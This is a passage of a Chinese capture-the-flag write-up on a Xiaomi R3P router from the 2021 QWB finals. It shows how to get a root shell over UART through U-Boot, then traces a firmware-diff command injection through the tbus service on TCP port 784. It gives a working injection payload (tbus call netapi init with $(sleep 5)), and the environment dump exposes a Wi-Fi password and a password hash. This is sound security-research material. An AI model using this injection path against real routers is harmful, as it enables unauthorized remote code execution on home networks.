强网杯 2021 线下 RW Mi Router

这题淼哥基本写的差不多了:QWB-2021-Final:RealWorld MiRouter WriteUp,补充些淼哥没写的:设备串口开SSH、eCos业务分析、流量分析、多人策略、只开一个窗口的exp。另外今年的文章省去了一些基础操作,如果想看新手教学可以看去年的:思科路由器 RV110W CVE-2020-3331 漏洞复现。与去年相比这次没有考察二进制漏洞的利用,而是一个命令注入漏洞点的触发路径分析,明年再来一个和云侧、app侧结合的,后年再来一个从空口打的,这样IoT的大面就基本考全了。

image

串口调试

除了网上说的:小米路由器 USB 版开启 SSH 教程这个方法以外,这个设备是可以通过一些技巧在串口拿shell,进而直接开ssh的。首先拆机后,串口很容易看到,并且过孔直接可以插入排针:

image

进入shell的方法是:开机快速在串口输入4,然后即可进入uboot命令行,在其中使用setenv设置环境变量uart_en为1,设置完需要saveenv,然后boot即可开启之后的串口输入,进而直接获得一个shell:

Please choose the operation: 
   1: Load system code to SDRAM via TFTP. 
   2: Load system code then write to Flash via TFTP. 
   3: Boot system code via Flash (default).
   4: Entr boot command line interface.
   7: Load Boot Loader code then write to Flash via Serial. 
   9: Load Boot Loader code then write to Flash via TFTP. 

You choosed 4

 0 
   
4: System Enter Boot Command Line Interface.

U-Boot 1.1.3 (Nov 11 2016 - 11:39:34)
MT7621 # ?    
?       - alias for 'help'
bootm   - boot application image from memory
go      - start application at address 'addr'
help    - print online help
loadb   - load binary file over serial line (kermit mode)
md      - memory display
mdio   - Ralink PHY register R/W command !!
mm      - memory modify (auto-incrementing)
nand    - nand command
nm      - memory modify (constant address)
printenv- print environment variables
reset   - Perform RESET of the CPU
saveenv - save environment variables to persistent storage
setenv  - set environment variables
tftpboot- boot image via network using TFTP protocol
version - print monitor version


MT7621 # printenv
bootcmd=tftp
bootdelay=5
ethaddr="00:AA:BB:CC:DD:10"
ipaddr=192.168.1.1
serverip=192.168.1.3
restore_defaults=0
model=R3P
flag_boot_type=2
mode=Router
uart_en=0
flag_ota_reboot=0
telnet_en=0
wl0_ssid=Xiaomi_E72E_5G
wl1_ssid=Xiaomi_E72E
flag_last_success=1
wl0_radio=1
wl1_radio=1
boot_wait=on
SN=15796/10029941
no_wifi_dev_times=0
color=106
CountryCode=CN
nv_wan_type=dhcp
flag_boot_success=1
flag_try_sys1_failed=0
flag_try_sys2_failed=0
normal_firmware_md5=6402c7cd2a79f83b1e7ec05bed66f7b2
nv_sys_pwd=3db659888db455f30e27730f0621d75977fbe35a
Router_unconfigured=0
nv_wifi_ssid=Xiaomi_E72E
nv_wifi_enc=mixed-psk
nv_wifi_pwd=xuanxuannihao
nv_wifi_ssid1=Xiaomi_E72E_5G
nv_wifi_enc1=mixed-psk
nv_wifi_pwd1=xuanxuannihao
flag_flash_permission=1
flag_show_upgrade_info=1
flag_boot_rootfs=1
stdin=serial
stdout=serial
stderr=serial

Environment size: 827/4092 bytes

MT7621 # setenv uart_en 1
MT7621 # saveenv
MT7621 # boot

启动后发现/etc目录可写,并且重启有效,所以直接更改root密码:

# mount
ubi1_0 on /etc type ubifs (rw,relatime)

# vi /etc/shadow
root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:17116:0:99999:7:::

然后使用dropbear启动ssh,不过要首先生成两个ky文件,另外如果想要永久ssh,可更改/etc/init.d/rcS启动脚本,加入一行dropbear即可,然后reboot,之后就用不上串口了。

# dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key 
# dropbearkey -t dss -f /etc/dropbear/dropbear_dsa_host_key
# dropbear

当年长亭搞AX3600时并没有发现这个东西,不知道是不是路由器型号不一样:

另外多说一句,个人理解,对于当下的IoT设备来说,在不上Android的嵌入式linux的前提下,提权基本是没啥意义的,因为基本就只有一个root用户在工作,所以也不需要打什么内核驱动啥的,只要打出来代码执行,就完事了,不信你看:

root@XiaoQiang:~# ps
  PID USER       VSZ STAT COMMAND
    1 root      2008 S    init
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
    4 root         0 SW   [kworker/0:0]
    5 root         0 SW<  [kworker/0:0H]
    7 root         0 SW   [migration/0]
    8 root         0 SW   [rcu_bh]
    9 root         0 SW   [rcu_sched]
   10 root         0 SW   [watchdog/0]
   11 root         0 SW   [watchdog/1]
   12 root         0 SW   [migration/1]
   13 root         0 SW   [ksoftirqd/1]
   14 root         0 SW   [kworker/1:0]
   15 root         0 SW<  [kworker/1:0H]
   16 root         0 SW   [watchdog/2]
   17 root         0 SW   [migration/2]
   18 root         0 SW   [ksoftirqd/2]
   20 root         0 SW<  [kworker/2:0H]
   21 root         0 SW   [watchdog/3]
   22 root         0 SW   [migration/3]
   23 root         0 SW   [ksoftirqd/3]
   25 root         0 SW<  [kworker/3:0H]
   26 root         0 SW<  [khelper]
   27 root         0 SW   [kdevtmpfs]
   28 root         0 SW   [kworker/u8:1]
  140 root         0 SW<  [writeback]
  142 root         0 SW<  [kintegrityd]
  143 root         0 SW<  [bioset]
  145 root         0 SW<  [kblockd]
  156 root         0 SW   [khubd]
  172 root         0 SW<  [cfg80211]
  173 root         0 SW   [kworker/0:1]
  186 root         0 SW   [kworker/2:1]
  192 root         0 SW   [khungtaskd]
  193 root         0 SW   [kswapd0]
  244 root         0 SW   [fsnotify_mark]
  257 root         0 SW<  [crypto]
  346 root         0 SW<  [et_port_queue]
  349 root         0 SW   [kworker/1:1]
  374 root         0 SW<  [deferwq]
  379 root         0 SW   [kworker/3:1]
  595 root         0 SW   [ubi_bgt1d]
  597 root         0 SW   [ubifs_bgt1_0]
  621 root         0 SW   [kworker/u8:2]
  699 root      1596 S    dropbear
  702 root      2008 S    init
  717 root      4008 S    {syslog-ng} supervising syslog-ng
  718 root      5592 S    /usr/sbin/syslog-ng
  839 root      1312 S    /sbin/hotplug2 --override --persistent --set-rules-f
  908 root      1336 S <  /sbin/ubusd
 1004 root     18168 S    /usr/sbin/taskmonitorServer
 1008 root      1404 S    /usr/sbin/taskmonitorDaemon -p /usr/sbin/taskmonitor
 1148 root      1992 S    /sbin/netifd
 1262 root      2004 S    udhcpc -p /var/run/udhcpc-eth1.pid -s /lib/netifd/dh
 1448 root         0 SW   [RtmpCmdQTask]
 1449 root         0 SW   [RtmpWscTask]
 1450 root         0 SW   [HwCtrlTask]
 1451 root         0 SW   [ser_task]
 1678 root         0 SW   [kworker/2:2]
 2421 root         0 SW   [RtmpMlmeTask]
 2860 root         0 SW   [RtmpCmdQTask]
 2861 root         0 SW   [RtmpWscTask]
 2862 root         0 SW   [HwCtrlTask]
 2863 root         0 SW   [ser_task]
 2886 root         0 SW   [RtmpMlmeTask]
 2887 root         0 SW   [kworker/3:2]
 3188 root      3832 S <  /usr/bin/fcgi-cgi -c 4
 3206 root      3896 S <  /usr/bin/fcgi-cgi -c 4
 3640 root      9528 S    {sysapihttpd} nginx: master process /usr/sbin/sysapi
 3641 root      9528 S <  {sysapihttpd} nginx: worker process
 3711 root      3832 S <  /usr/bin/fcgi-cgi -c 2
 3720 root      3832 S <  /usr/bin/fcgi-cgi -c 2
 3749 root      3188 S    /usr/sbin/kr_query
 3943 root      4720 S    {sysapihttpd} nginx: master process /usr/sbin/sysapi
 3950 root      4768 S    {sysapihttpd} nginx: worker process
 4399 root      1516 S    /usr/sbin/dnsmasq --user=root -C /var/etc/dnsmasq.co
 4400 root      1512 S    /usr/sbin/dnsmasq --user=root -C /var/etc/dnsmasq.co
 4529 root      2000 S    {mald} /bin/sh /usr/bin/mald 2
 4545 root     15408 S <  /usr/bin/messagingagent --handler_threads 2
 4633 root      2020 S    /usr/sbin/crond -c /etc/crontabs -l 5
 4902 root     33068 S    /opt/filetunnel/tunnelserver
 4941 root     13304 S    /opt/filetunnel/stunserver --verbosity 1
 4980 root      2000 S    {iweventd.sh} /bin/sh /usr/sbin/iweventd.sh
 4998 root      1428 S    /usr/sbin/iwevent
 4999 root      2036 S    {iwevent-call} /bin/sh /usr/sbin/iwevent-call
 5025 root      2640 S    /usr/sbin/trafficd
 5035 root      2048 S    {web_filter_reco} /bin/sh /etc/rc.common /etc/init.d
 5073 root     25152 S    /usr/sbin/indexservice
 5101 root      2120 S    /usr/sbin/netapi
 5137 root     79648 S    /usr/sbin/datacenter
 5251 root     22724 S    /usr/sbin/plugincenter
 5428 root     34560 S    /usr/sbin/rule_mgr 192.168.31.1 255.255.255.0
 5565 root      1472 S    /usr/sbin/http_dpi
 5721 root      3852 S    /usr/bin/lua /usr/sbin/miqosd hwqos
 6173 root     10020 S    /usr/sbin/rmonitor
 6447 root     34608 S    /usr/sbin/securitypage -c /etc/config/securitypage/s
 6512 root     27180 S    /usr/sbin/smartcontroller
 6626 root      1992 S    watchdog -t 5 -T 120 /dev/watchdog
 6666 root      2160 S    {syslog-ng.helpe} /bin/sh /usr/sbin/syslog-ng.helper
 6667 root      2004 S    tail -F /tmp/stat_points_rom.log /tmp/stat_points_we
 6668 root      1996 S    grep stat_points_instant
 6669 root      2000 S    {stat_points.hel} /bin/sh /usr/sbin/stat_points.help
 6671 root      2164 S    {stat_points.cro} /bin/sh /usr/sbin/stat_points.cron
 6740 root      5184 S    statisticsservice -c /etc/statisticsservice/statisti
 6819 root      4228 S    lua /usr/sbin/ccgame_service.lua
 6831 root      4152 S    lua /usr/sbin/ipv6_service.lua
 6920 root      1212 S    btnd reset 18
 9546 root      1992 S    sleep 120
10161 root      1992 S    sleep 300
10363 root      1992 S    sleep 60
10541 root      1668 R    dropbear
10542 root      2008 S    -ash
10550 root      2000 R    ps
root@XiaoQiang:~# cat /etc/shadow
root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:17116:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

漏洞定位

目标端口

进入正题,首先题目希望我们是从哪个口打?去年思科路由器的题目,选手侧设备开了一堆tcp端口,然而展示环境只开了tcp443。所以今年为了减少干扰,开场马上就挑战本题,只为上场扫端口。到挑战台跟工作人员说明来意后,他说今年你不用扫了,这次的环境除了不给web后台和ssh的密码,台上和选手侧的环境是完全一致的,也就是说,只要开口就可以打。不过也不能白上来一次,还是扫了一遍tcp,结果如下:

22/tcp   open  ssh
53/tcp   open  domain
80/tcp   open  http
784/tcp  open  unknown
5081/tcp open  sdl-ets
8098/tcp open  unknown
8190/tcp open  gcp-rphy
8191/tcp open  limnerpressure
8192/tcp open  sophos
8193/tcp open  sophos
8195/tcp open  blp2
8196/tcp open  unknown
8197/tcp open  unknown
8198/tcp open  unknown
8380/tcp open  cruise-update
8381/tcp open  unknown
8382/tcp open  unknown
8383/tcp open  m2mservices
8384/tcp open  marathontp
8385/tcp open  unknown
8899/tcp open  ospf-lite
8999/tcp open  bctp

漏洞代码

分析比赛设备,发现其中的lua代码都是可以阅读的源码,所以就不需要模仿长亭逆向的那个过程,分析应该是开发版固件。所以diff比赛给的固件(从ssh拽回来)和开发版固件,经文档说明,这是patch过的固件,所以最主要的diff的路径应该是代码部分,也就是可执行程序和库的部分,指令集为mips32小端:

  • /bin
  • /sbin
  • /lib
  • /usr

可以在以下地址获得开发版固件:

diff -uprN ./guanfang/usr/lib/lua/traffic.lua ./qwb/usr/lib/lua/traffic.lua
--- ./guanfang/usr/lib/lua/traffic.lua 2017-05-03 14:52:11.000000000 +0800
+++ ./qwb/usr/lib/lua/traffic.lua 2021-07-03 17:31:40.000000000 +0800
@@ -8,7 +8,7 @@ local dbDict
 local dhcpDict
 
 function cmdfmt(str)
-  return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\""):gsub("%$", "\\$")
+  return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\"")
 end
 
 function get_hostname_init()
diff -uprN ./guanfang/usr/lib/lua/xiaoqiang/module/XQBackup.lua ./qwb/usr/lib/lua/xiaoqiang/module/XQBackup.lua
--- ./guanfang/usr/lib/lua/xiaoqiang/module/XQBackup.lua 2017-05-03 14:52:04.000000000 +0800
+++ ./qwb/usr/lib/lua/xiaoqiang/module/XQBackup.lua 2021-07-03 17:43:51.000000000 +0800
@@ -1,7 +1,7 @@
 module ("xiaoqiang.module.XQBackup", package.seeall)
 
-local DESFILE    = "/tmp/cfg_backup.des"
-local MBUFILE    = "/tmp/cfg_backup.mbu"
+local DESFILE    = "/tmp/extmp/cfg_backup.des"
+local MBUFILE    = "/tmp/extmp/cfg_backup.mbu"
 local TARMBUFILE = "/tmp/cfgbackup.tar.gz"
 
 -- backup functions
@@ -210,9 +210,10 @@ function save_info(keys, info)
     local dstr = json.encode(keys)
     local data = aes.encrypt(key, jstr)
     local filename = os.date("%Y-%m-%d--%X",os.time())..".tar.gz"
+    os.execute("mkdir -p /tmp/extmp >/dev/null 2>/dev/null")
     fs.writefile(MBUFILE, data)
     fs.writefile(DESFILE, dstr)
-    os.execute("cd /tmp; tar -czf "..backuppath..filename.." cfg_backup.des cfg_backup.mbu >/dev/null 2>/dev/null")
+    os.execute("cd /tmp/extmp; tar -czf "..backuppath..filename.." cfg_backup.des cfg_backup.mbu >/dev/null 2>/dev/null")
     os.execute("rm "..MBUFILE.." >/dev/null 2>/dev/null")
     os.execute("rm "..DESFILE.." >/dev/null 2>/dev/null")
     local url = lanip.."/backup/log/"..filename
@@ -267,7 +268,8 @@ function extract(filepath)
     if not fs.access(tarpath) then
         return 1
     end
-    os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
+    os.execute("mkdir -p /tmp/extmp >/dev/null 2>/dev/null")
+    os.execute("cd /tmp/extmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
     os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
     if not fs.access(DESFILE) then
         return 2

很显然:

  • 对于XQBackup.lua,是修长亭挖的那个上传的漏洞
  • 对于traffic.lua,是开放了一个命令注入

所以只要触发到traffic.lua的cmdfmt函数,并且控制参数,即可完成本题。

业务分析

开放的端口是起点,命令注入点的代码是终点,所以目标就是找到一条线,使得起点和终点相连接,这条线就是漏洞的触发路径。所以分别从两侧出发,广泛并且深入的分析,直至找到二者的交汇处即完成任务。最简单的方法就是寻找关键字符串,可能是:函数名,变量名,文件名,或者有意义的业务名等,找寻他们的方法就是全局搜字符串,如:grep -r "cmdfmt" ./

当年淼哥这么教我的时候我觉得很不靠谱,这些复杂的系统和代码是能运行,能跑的。其中有信道,有变量的传递,有他背后的许多道理。但我们就只能用这个本身不能运行,并且看起来没有任何复杂道理的字符串,来进行业务逻辑的关联么?还真是!至少这是认识陌生系统最快的一种办法!理解这事需要多种计算机中的通信的案例:

  • c代码编译时认识本文件以外的函数,变量
  • ELF运行时能找到库函数所在的位置
  • 进程间通信实现跨进程的函数调用
  • http访问baidu就不会访问到qq
  • webserver的不同url会路由到不同的功能文件或者函数

其实本质就是双方通信,二者要约定一个语言来表达一些事物(资源)。如果资源比较有限,那么可能采用编号的形式来命名。但如果是比较开放,随意的资源,那么作为人类来说,更好理解的就是人类语言的命名,落地到计算机上,就是字符串。并且因为现代计算机已经高度模块化:在一个实体上可能是不同的进程,甚至还有可能分散在不同的实体上等等,那么他们之间必然存在着通信,故在这种情景下的计算机,关联代码包含着相同字符串的概率非常大。当然这是可以对抗的:在一个本体上的所有东西揉到一起,去除所有的人类可读的符号,然后和外接实体的通信使用编号,加密等手段,处理字符串全部使用动态生成、验证等方法。当然我相信大部分代码不会这么蛋疼,因为毕竟开发是为了业务,而不是不是专门出题考你的。所以就可以根据cmdfmt这个字符串,以及开放的端口情况分别进行分析了。

cmdfmt分析

因为已经diff出了疑似漏洞点,所以应该从信息明确的这一侧先入手,分析方法全文搜索字符串cmdfmt

只有/usr/lib/lua/traffic.lua本脚本里的trafficd_lua_ecos_pair_verify函数调用了有漏洞的cmdfmt,调用后拼接执行的程序为/usr/sbin/ecos_pair_verify:

os.execute(string.format('/usr/sbin/ecos_pair_verify -i "%s" -e "%s" ', cmdfmt(ifname), cmdfmt(repeater_token)))

只有/usr/sbin/netapi包含了trafficd_lua_ecos_pair_verify这个字符串:

 grep -r "trafficd_lua_ecos_pair_verify" ./ 2>/dev/null
Binary file ./qwb/usr/sbin/netapi matches

使用IDA分析/usr/sbin/netapi,调用trafficd_lua_ecos_pair_verify的函数sub_402070没有被任何函数交叉引用,不过在此程序中存在tbus字符串,看起来netapi与tbus有关。tbus开起来和ubus有些类似,业务函数会通过这种总线注册,然后被其他业务调用。所以sub_402070这个函数指针应该在处被注册,没有被IDA分析出来的原因应该是此函数可能通过一个结构体进行注册。于是我们应当来分析一下tbus这个服务是怎么注册的,因为在字符串中有tbus_init,从此处开始看起:

LOAD:004061A8 aTbusInit:      .ascii "tbus_init"<0>  

交叉引用找到

sub_401E50(5, "tbus_init", 330, "connected as 0x%08x\n", *(_DWORD *)(v10 + 80));
v11 = dword_4167E8;
*(_DWORD *)(dword_4167E8 + 92) = sub_401F98;
uloop_fd_add(v11 + 44, 9);
v12 = sub_40478C(dword_4167E8, &unk_4165A8);

sub_40478C这个函数看起来比较可疑,从参数上看起来有些像注册,找到unk_4165A8这个地址:

004165A8 unk_4165A8:     .byte    0               # DATA XREF: sub_401884+238o
LOAD:004165A8                                          # sub_401884+254o ...
LOAD:004165A9                 .byte    0
LOAD:004165AA                 .byte    0
LOAD:004165AB                 .byte    0
LOAD:004165AC                 .byte    0
LOAD:004165AD                 .byte    0
LOAD:004165AE                 .byte    0
LOAD:004165AF                 .byte    0
LOAD:004165B0                 .byte    0
LOAD:004165B1                 .byte    0
LOAD:004165B2                 .byte    0
LOAD:004165B3                 .byte    0
LOAD:004165B4                 .byte    0
LOAD:004165B5                 .byte    0
LOAD:004165B6                 .byte    0
LOAD:004165B7                 .byte    0
LOAD:004165B8                 .byte    0
LOAD:004165B9                 .byte    0
LOAD:004165BA                 .byte    0
LOAD:004165BB                 .byte    0
LOAD:004165BC                 .byte    0
LOAD:004165BD                 .byte    0
LOAD:004165BE                 .byte    0
LOAD:004165BF                 .byte    0
LOAD:004165C0                 .byte    0
LOAD:004165C1                 .byte    0
LOAD:004165C2                 .byte    0
LOAD:004165C3                 .byte    0
LOAD:004165C4 off_4165C4:     .word aNetapi            # DATA XREF: sub_401884+258r
LOAD:004165C4                                          # sub_401884+2A0r
LOAD:004165C4                                          # "netapi"
LOAD:004165C8                 .align 4
LOAD:004165D0                 .word off_4165E4         # "netapi"
LOAD:004165D4                 .byte    0
LOAD:004165D5                 .byte    0
LOAD:004165D6                 .byte    0
LOAD:004165D7                 .byte    0
LOAD:004165D8                 .byte    0
LOAD:004165D9                 .byte    0
LOAD:004165DA                 .byte    0
LOAD:004165DB                 .byte    0
LOAD:004165DC                 .byte 0xBC
LOAD:004165DD                 .byte 0x61  # a
LOAD:004165DE                 .byte 0x40  # @
LOAD:004165DF                 .byte    0
LOAD:004165E0                 .byte    1
LOAD:004165E1                 .byte    0
LOAD:004165E2                 .byte    0
LOAD:004165E3                 .byte    0

在0x004165DC出发现个类似地址的东西,按d修改数据类型为四字节:

LOAD:004165DC                 .word off_4061BC         # "init"

然后跳转到0x4061BC地址处,发现了0x402070,以及0x4061D0

LOAD:004061BC                 .word aInit              # "init"
LOAD:004061C0                 .byte 0x70
LOAD:004061C1                 .byte 0x20
LOAD:004061C2                 .byte 0x40  # @
LOAD:004061C3                 .byte    0
LOAD:004061C4                 .align 3
LOAD:004061C8                 .byte 0xD0
LOAD:004061C9                 .byte 0x61  # a
LOAD:004061CA                 .byte 0x40  # @
LOAD:004061CB                 .byte    0
LOAD:004061CC                 .word 1

继续按d修改数据类型为四字节:

LOAD:004061BC                 .word aInit              # "init"
LOAD:004061C0                 .word sub_402070
LOAD:004061C4                 .align 3
LOAD:004061C8                 .word off_4061D0         # "data"
LOAD:004061CC                 .word 1
LOAD:004061D0 off_4061D0:     .word aData    

到此应该大概猜出来了,这个函数的注册关联的名字是init,参数应该是data。并且这个data应该是个json:因为之后的解析函数为blobmsg_parse,这一套就是ubus的机制,关于ubus可以看徐老这篇:物联网设备消息总线机制的使用及安全问题。分析至此应该明白,netapi将是我们的目标函数sub_402070注册到了tbus总线上,所以之后就是怎么调用这个注册到tbus上的服务了。全局搜索tbus会有如下的一些串:

timeout -t 2 tbus call $a notice  "{\"ssid_5g\":\"${ssid_base64_5g}\",\"passwd_5g\":\"${key_base64_5g}\"}"
timeout -t 2 tbus list | grep -v netapi | grep -v master | while read a

option tbus_listen_port '784'
option tbus_listen_event 'trafficd'

从这里我们能关联起tbus、trafficd、tcp784,还能知道tbus这个命令的大概的使用方法,也可以直接在命令行中使用tbus命令观察输出的帮助信息:

# tbus
Usage: tbus [<options>] <command> [arguments...]
Options:
 -p <port>:        Set the server port to connect to
 -h <hostname>:    Set the server hostname or ip to connect to
 -t <timeout>:        Set the timeout (in seconds) for a command to complete
 -S:            Use simplified output (for scripts)
 -v:            More verbose output

Commands:
 - list [<path>]            List objects
 - call <path> <method> [<message>]    Call an object method
 - listen [<path>...]            Listen for events
 - send <type> [<message>]        Send an event
 - wait_for <object> [<object>...]    Wait for multiple objects to appear on ubus
 - postfile <path> <filepath>   post file for ecos

结合逆向的init方法名和data参数名,尝试几次,即可发生命令注入:

tbus call netapi init '{"data":"$(sleep 5)"}'

总结下来应该就是:

  • trafficd是tbus的服务端,监听tcp784端口
  • tbus是tbus的客户端工具,背后的原理是与tcp784进行通信
  • netapi是也是tbus的客户端,不过这是一个注册服务函数的客户端,并不是一个通用的工具

从cmdfmt倒序分析到此,应该已经能知道后半程的触发路径了:

  • tcp 784:直接向tcp 784 端口发包
  • tbus call:从其他端口能触发到tbus call netapi init ,并且data可控。

全文搜索并没有找到netapi init这个串,并且784端口又是直接暴露在0.0.0.0上,所以应该就是直接向tcp784发包即可完成攻击了,于是这个方法就不存在前半程了。当然比赛时我们没有这么一帆风顺,也并没有从cmdfmt往下走就直接缕清了业务逻辑,而是卡在了对于sub_402070目标函数的注册的寻找中,换句话说我们的逆向不是很好,所以并没有直接就确定了784这个目标,也分析了对于本题用处不大的前半程:端口分析。

端口分析

root@XiaoQiang:~# netstat -pantu | grep 0.0.0.0 | grep -v "127"
tcp        0      0 0.0.0.0:8384            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8192            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8385            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8193            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8098            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8899            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8195            0.0.0.0:*               LISTEN       0 416 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8196            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8197            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8198            0.0.0.0:*               LISTEN       0 0 3943/mihttpd.conf
tcp        0      0 0.0.0.0:8999            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:784             0.0.0.0:*               LISTEN       0 52 5025/trafficd
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN       0 13884 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN       0 0 4399/dnsmasq
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN       0 156 699/dropbear
tcp        0      0 0.0.0.0:5081            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8380            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8381            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8382            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8190            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8383            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
tcp        0      0 0.0.0.0:8191            0.0.0.0:*               LISTEN       0 0 3640/sysapihttpd.co
udp        0      0 0.0.0.0:53              0.0.0.0:*                            12679 23983 4399/dnsmasq
udp        0      0 0.0.0.0:67              0.0.0.0:*                            0 0 4399/dnsmasq
udp        0      0 0.0.0.0:3478            0.0.0.0:*                            36 84 4941/stunserver
root@XiaoQiang:~# cat /proc/3640/cmdline
nginx: master process /usr/sbin/sysapihttpd -c /tmp/sysapihttpdconf/sysapihttpd.conf

按照进程划分,目标大概分析如下:

端口 类型 进程 属性
tcp 80 5081 8xxx Web sysapihttpd 小米自研
tcp 784 unkown trafficd 小米自研
tcp 53 udp 53 67 DNS dnsmasq 2.71 开源软件
tcp 22 SSH dropbear v2011.54 开源软件
udp 3478 STUN stunserver January 22, 2012 开源软件

对于三个开源软件,看起来有些影响里的cve如下:

  • CVE-2016-7406: dropbear,格串,不过需要一个已经认证的用户,情景是执行受限的命令。
  • CVE-2020-25681: dnsmasq,堆溢出,不过需要在/etc/dnsmasq.conf开启DNSSEC,本环境中并没开。
  • stunserver没有找到CVE以及公开的漏洞和exploit

所以重点还是应该放在两个小米自研的进程上sysapihttpd和trafficd

sysapihttpd

Web因为不给管理员密码,所以需要找前台漏洞或者前台绕过然后到后台getshell,走这条路需要把未授权可以访问的Web接口找出来分析,可以在各种lua脚本里找到类似这种代码:

entry({"api", "xqsystem", "login"}, call("actionLogin"), (""), 109, 0x08)

这个显然就是注册api和函数的对应关系,长亭之前逆向连权限啥的都说了,所以可以尝试去找到所有未授权的接口,然后进行分析。另外绕过前台这个事应该难度比较大,长亭很久之前就搞过了,至少是只公开了一个绕前台的洞,还被补了,所以感觉这条路不太通。另外在Web口分析出跟ecos有关的接口总共有4个,全部是认证后的后台才可以访问的:

usr/lib/lua/luci/controller/api/misystem.lua

entry({"api", "misystem", "ecos_info"},             call("getEcosInfo"), (""), 143)
entry({"api", "misystem", "ecos_switch"},           call("ecosSwitch"), (""), 144)
entry({"api", "misystem", "ecos_upgrade"},          call("ecosUpgrade"), (""), 145)
entry({"api", "misystem", "ecos_upgrade_status"},   call("getEcosUpgradeStatus"), (""), 146)

顺着这几个api下去,会进到usr/lib/lua/xiaoqiang/module/XQEcos.lua以及/usr/sbin/ecos_upgrade.lua,然后也会看到tbus。

local cmd = "tbus call "..ecos.ip.." switch \"{\\\"wifi_explorer\\\":"..(on and "1" or "0").."}\" >/dev/null 2>/dev/null"
return os.execute(cmd) == 0
local code = os.execute("tbus postfile "..dev.ip.." ".."/tmp/eCos.img")

比赛的时候分析这都很迷惑,因为这条路是顺着Web下来的,那我至少应该明白这个业务是干啥的,这个eCos,到底是个啥?是自己?还是自己内部的一个小系统?通过使用认证后的ecos_info这个api分析参数需要提供一个mac地址,但是无论我给出这个设备的哪个mac地址,或者任何客户端的mac地址,都说这个设备不支持。最终在XQEcos.lua_getEcosDevices方法中看到了,他会判断这个目标设备是不是在ExtenderHw列表中,而这个列表的定义:

local ExtenderHw = { R01=1, R02=1, R03=1 }

比赛的路由器代号是:R3P,经过网上查询,这个R01是尼玛wifi放大器:

这下就理解为啥是eCos了,wifi放大器里可不就是eCos么,这一套Weba的pi就是管理放大器的,比赛时我们还咸鱼顺丰当日达了一个放大器以及另外一个路由器。我们发现当两个路由器以中继模式连接时,非中继路由器的tbus list多出了另一个路由器(中继路由器)的ip地址,不过因为另一个路由器不是放大器,所以仍然无法触发ecos_info

在Web口分析到这里,即使从Web的api可以触发到漏洞函数,也还需要找一个绕过登录的。于是我们开始关注到784这个端口,因为netapi的逆向失败,当时我认为,ecos_pair_verify应该是在升级的过程中触发,在升级过程中配对校验,合情合理,所以就一直尝试希望触发升级操作,也就是tbus的postfile操作。虽然这个当时分析错了,但是tbus的工作原理分析对了,想到了可以直接给784端口发流量来绕过Web鉴权。想的是:

  • 在鉴权的Web口触发升级操作,进而触发tbus postfile,进而ecos_pair_verify
  • 抓tcp784的流量并重放

也是因为这个思路,第一天晚上并没有成功触发ecos_pair_verify,第二天早上我们就发现了netapi正确的逆向方法,从而放弃了80口的Web。

trafficd

经过上文的分析其实,其实已经理解了trafficd这个tbus的服务端,甚至可以在traffic.lua的注释中看到这个脚本的作者:yubo@xiaomi.com,在他的github上甚至能找到tbus这套系统的源码:

另外还有一个非常简单的办法就能把netapi和784端口关联起来:

root@XiaoQiang:~# netstat -pantu | grep 784
tcp        0      0 0.0.0.0:784             0.0.0.0:*               LISTEN       0 468 5025/trafficd
tcp        0      0 127.0.0.1:784           127.0.0.1:27611         ESTABLISHED  212 154716 5025/trafficd
tcp        0      0 127.0.0.1:27611         127.0.0.1:784           ESTABLISHED  3472 151464 5101/netapi

可以看到netapi是和本地的784端口有一个tcp连接的,所以即使没有逆向明白netapi的init注册,也能关联到最终攻击的端口。综合上述的信息,如果来了一个放大器,应该会主动的和路由器的784端口进行连接,并且远程调用路由器的里的netapi的init完成设备绑定,也就是进而触发了漏洞,所以漏洞触发的这条路,应该是与Web无关的。结论:

  • 如果存在放大器,我们可以在网络中对其初始化的过程进行抓包,修改其中的调用init的流量完成命令注入。
  • 如果没有放大器,可以使用tbus这个客户端,直接发起函数调用,完成命令注入。

流量复现

抓包分析

这里注意,netapi与trafficd通信的地址是127.0.0.1,所以需要抓取本地localhost网卡的流量,可以先查看一下网卡信息(部分省略):

root@XiaoQiang:~# ifconfig
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
